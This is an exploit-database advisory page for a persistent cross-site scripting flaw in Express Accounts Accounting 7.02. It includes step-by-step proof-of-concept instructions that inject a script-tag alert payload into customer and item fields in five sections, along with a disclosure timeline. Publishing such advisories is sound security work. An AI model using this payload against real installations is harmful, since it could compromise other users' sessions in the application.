Express Accounts Accounting 7.02 - Persistent Cross-Site Scripting

vendor:

Express Accounts Accounting

by:

Debashis Pal

3.1

CVSS

MEDIUM

Persistent Cross-Site Scripting (XSS)

CWE

Product Name: Express Accounts Accounting

Affected Version From: Express Accounts Accounting v7.02

Affected Version To: Express Accounts Accounting v7.02

Patch Exists: NO

Related CWE: N/A

CPE: a:nch_software:express_accounts_accounting

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 SP1(32bit)

2019

Express Accounts Accounting 7.02 – Persistent Cross-Site Scripting

Express Accounts Accounting v7.02 is vulnerable to Persistent Cross-Site Scripting (XSS). An authenticated unprivileged user can inject malicious payloads into the Customer field of Invoices, Sales Orders, Items, Customers, and Quotes sections. When an authenticated privileged or unprivileged user visits any of these sections, the payload will be executed.

Mitigation:

Input validation should be used to prevent malicious payloads from being injected into the Customer field.

Source

Exploit-DB raw data:

# Exploit Title: Express Accounts Accounting 7.02 - Persistent Cross-Site Scripting
# Exploit Author: Debashis Pal
# Date: 2019-10-16
# Vendor Homepage: https://www.nchsoftware.com 
# Source: https://www.nchsoftware.com/accounting/index.html
# Version: Express Accounts Accounting v7.02
# CVE : N/A
# Tested on: Windows 7 SP1(32bit)

# About Express Accounts Accounting v7.02
=========================================
Express Accounts is professional business accounting software, perfect for small businesses. 

# Vulnerability 
================
Persistent Cross site scripting (XSS).

# PoC 
======

1. Login as authenticated unprivileged user to Express Accounts Accounting v7.02 web enable service i.e  http://A.B.C.D:98 [Default installation]. 
2. Under "Invoices" , Invoices List -> View Invoices -> Add New Invoice -> Customer: Field put </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Sales Orders" 
Sales Orders -> view Orders ->  Add New Order -> New Sales Order ->Customer: Field put </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Items" 
Items -> Add new item-> Item field: put  </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Customers" 
Customers -> Add New Customer -> Customer Name:  put  </script><script>alert('XSS');</script>
Save the change. 

or 

Under "Quotes"
Quotes -> View Quotes -> Add New Quote -> Customer: put  </script><script>alert('XSS');</script>
Save the change. 

3. Login in authenticated privileged or unprivileged user to Express Accounts v7.02 web enable service and visit any of Invoices/Sales Orders/Items/Customers/Quotes section, Persistent XSS payload will execute.

# Disclosure Timeline
======================
Vulnerability Discover Date: 15-Sep-2019.
Vulnerability notification to vendor via vendor provided web form: 15-Sep-2019, 19-Sep-2019, 26-Sep-2019, no responds. 
Submit exploit-db : 16-Oct-2019.


# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.